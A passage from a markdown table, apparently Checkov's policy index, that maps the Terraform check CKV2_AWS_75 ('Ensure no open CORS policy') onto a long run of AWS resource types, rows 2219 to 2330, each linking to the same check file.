CKV2_AWS_75 | resource | aws_appconfig_application | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2220 | CKV2_AWS_75 | resource | aws_appconfig_configuration_profile | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2221 | CKV2_AWS_75 | resource | aws_appconfig_deployment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2222 | CKV2_AWS_75 | resource | aws_appconfig_deployment_strategy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2223 | CKV2_AWS_75 | resource | aws_appconfig_environment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2224 | CKV2_AWS_75 | resource | aws_appconfig_extension | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2225 | CKV2_AWS_75 | resource | aws_appconfig_extension_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2226 | CKV2_AWS_75 | resource | aws_appconfig_hosted_configuration_version | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2227 | CKV2_AWS_75 | resource | aws_appfabric_app_authorization | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2228 | CKV2_AWS_75 | resource | aws_appfabric_app_authorization_connection | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2229 | CKV2_AWS_75 | resource | aws_appfabric_app_bundle | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2230 | CKV2_AWS_75 | resource | aws_appfabric_ingestion | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2231 | CKV2_AWS_75 | resource | aws_appfabric_ingestion_destination | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2232 | CKV2_AWS_75 | resource | aws_appflow_connector_profile | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2233 | CKV2_AWS_75 | resource | aws_appflow_flow | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2234 | CKV2_AWS_75 | resource | aws_appintegrations_data_integration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2235 | CKV2_AWS_75 | resource | aws_appintegrations_event_integration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2236 | CKV2_AWS_75 | resource | aws_applicationinsights_application | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2237 | CKV2_AWS_75 | resource | aws_appmesh_gateway_route | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2238 | CKV2_AWS_75 | resource | aws_appmesh_mesh | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2239 | CKV2_AWS_75 | resource | aws_appmesh_route | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2240 | CKV2_AWS_75 | resource | aws_appmesh_virtual_gateway | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2241 | CKV2_AWS_75 | resource | aws_appmesh_virtual_node | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2242 | CKV2_AWS_75 | resource | aws_appmesh_virtual_router | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2243 | CKV2_AWS_75 | resource | aws_appmesh_virtual_service | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2244 | CKV2_AWS_75 | resource | aws_apprunner_auto_scaling_configuration_version | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2245 | CKV2_AWS_75 | resource | aws_apprunner_connection | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2246 | CKV2_AWS_75 | resource | aws_apprunner_custom_domain_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2247 | CKV2_AWS_75 | resource | aws_apprunner_default_auto_scaling_configuration_version | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2248 | CKV2_AWS_75 | resource | aws_apprunner_deployment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2249 | CKV2_AWS_75 | resource | aws_apprunner_observability_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2250 | CKV2_AWS_75 | resource | aws_apprunner_service | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2251 | CKV2_AWS_75 | resource | aws_apprunner_vpc_connector | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2252 | CKV2_AWS_75 | resource | aws_apprunner_vpc_ingress_connection | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2253 | CKV2_AWS_75 | resource | aws_appstream_directory_config | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2254 | CKV2_AWS_75 | resource | aws_appstream_fleet | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2255 | CKV2_AWS_75 | resource | aws_appstream_fleet_stack_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2256 | CKV2_AWS_75 | resource | aws_appstream_image_builder | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2257 | CKV2_AWS_75 | resource | aws_appstream_stack | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2258 | CKV2_AWS_75 | resource | aws_appstream_user | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2259 | CKV2_AWS_75 | resource | aws_appstream_user_stack_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2260 | CKV2_AWS_75 | resource | aws_appsync_api_cache | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2261 | CKV2_AWS_75 | resource | aws_appsync_api_key | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2262 | CKV2_AWS_75 | resource | aws_appsync_datasource | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2263 | CKV2_AWS_75 | resource | aws_appsync_domain_name | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2264 | CKV2_AWS_75 | resource | aws_appsync_domain_name_api_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2265 | CKV2_AWS_75 | resource | aws_appsync_function | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2266 | CKV2_AWS_75 | resource | aws_appsync_graphql_api | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2267 | CKV2_AWS_75 | resource | aws_appsync_resolver | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2268 | CKV2_AWS_75 | resource | aws_appsync_source_api_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2269 | CKV2_AWS_75 | resource | aws_appsync_type | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2270 | CKV2_AWS_75 | resource | aws_athena_data_catalog | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2271 | CKV2_AWS_75 | resource | aws_athena_database | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2272 | CKV2_AWS_75 | resource | aws_athena_named_query | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2273 | CKV2_AWS_75 | resource | aws_athena_prepared_statement | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2274 | CKV2_AWS_75 | resource | aws_athena_workgroup | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2275 | CKV2_AWS_75 | resource | aws_auditmanager_account_registration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2276 | CKV2_AWS_75 | resource | aws_auditmanager_assessment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2277 | CKV2_AWS_75 | resource | aws_auditmanager_assessment_delegation | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2278 | CKV2_AWS_75 | resource | aws_auditmanager_assessment_report | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2279 | CKV2_AWS_75 | resource | aws_auditmanager_control | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2280 | CKV2_AWS_75 | resource | aws_auditmanager_framework | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2281 | CKV2_AWS_75 | resource | aws_auditmanager_framework_share | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2282 | CKV2_AWS_75 | resource | aws_auditmanager_organization_admin_account_registration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2283 | CKV2_AWS_75 | resource | aws_autoscaling_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2284 | CKV2_AWS_75 | resource | aws_autoscaling_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2285 | CKV2_AWS_75 | resource | aws_autoscaling_group_tag | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2286 | CKV2_AWS_75 | resource | aws_autoscaling_lifecycle_hook | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2287 | CKV2_AWS_75 | resource | aws_autoscaling_notification | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2288 | CKV2_AWS_75 | resource | aws_autoscaling_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2289 | CKV2_AWS_75 | resource | aws_autoscaling_schedule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2290 | CKV2_AWS_75 | resource | aws_autoscaling_traffic_source_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2291 | CKV2_AWS_75 | resource | aws_autoscalingplans_scaling_plan | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2292 | CKV2_AWS_75 | resource | aws_az_info | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2293 | CKV2_AWS_75 | resource | aws_backup_framework | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2294 | CKV2_AWS_75 | resource | aws_backup_global_settings | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2295 | CKV2_AWS_75 | resource | aws_backup_logically_air_gapped_vault | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2296 | CKV2_AWS_75 | resource | aws_backup_plan | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2297 | CKV2_AWS_75 | resource | aws_backup_region_settings | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2298 | CKV2_AWS_75 | resource | aws_backup_report_plan | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2299 | CKV2_AWS_75 | resource | aws_backup_restore_testing_plan | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2300 | CKV2_AWS_75 | resource | aws_backup_restore_testing_selection | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2301 | CKV2_AWS_75 | resource | aws_backup_selection | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2302 | CKV2_AWS_75 | resource | aws_backup_vault | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2303 | CKV2_AWS_75 | resource | aws_backup_vault_lock_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2304 | CKV2_AWS_75 | resource | aws_backup_vault_notifications | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2305 | CKV2_AWS_75 | resource | aws_backup_vault_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2306 | CKV2_AWS_75 | resource | aws_batch_compute_environment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2307 | CKV2_AWS_75 | resource | aws_batch_job_definition | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2308 | CKV2_AWS_75 | resource | aws_batch_job_queue | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2309 | CKV2_AWS_75 | resource | aws_batch_scheduling_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2310 | CKV2_AWS_75 | resource | aws_bcmdataexports_export | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2311 | CKV2_AWS_75 | resource | aws_bedrock_custom_model | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2312 | CKV2_AWS_75 | resource | aws_bedrock_guardrail | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2313 | CKV2_AWS_75 | resource | aws_bedrock_guardrail_version | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2314 | CKV2_AWS_75 | resource | aws_bedrock_inference_profile | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2315 | CKV2_AWS_75 | resource | aws_bedrock_model_invocation_logging_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2316 | CKV2_AWS_75 | resource | aws_bedrock_provisioned_model_throughput | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2317 | CKV2_AWS_75 | resource | aws_bedrockagent_agent | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2318 | CKV2_AWS_75 | resource | aws_bedrockagent_agent_action_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2319 | CKV2_AWS_75 | resource | aws_bedrockagent_agent_alias | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2320 | CKV2_AWS_75 | resource | aws_bedrockagent_agent_collaborator | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2321 | CKV2_AWS_75 | resource | aws_bedrockagent_agent_knowledge_base_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2322 | CKV2_AWS_75 | resource | aws_bedrockagent_data_source | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2323 | CKV2_AWS_75 | resource | aws_bedrockagent_knowledge_base | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2324 | CKV2_AWS_75 | resource | aws_budgets_budget | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2325 | CKV2_AWS_75 | resource | aws_budgets_budget_action | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2326 | CKV2_AWS_75 | resource | aws_caller_info | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2327 | CKV2_AWS_75 | resource | aws_ce_anomaly_monitor | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2328 | CKV2_AWS_75 | resource | aws_ce_anomaly_subscription | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2329 | CKV2_AWS_75 | resource | aws_ce_cost_allocation_tag | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2330 | CKV2_AWS_75 | resource | aws_ce_cost_category | Ensure no open CORS policy | Terraform | 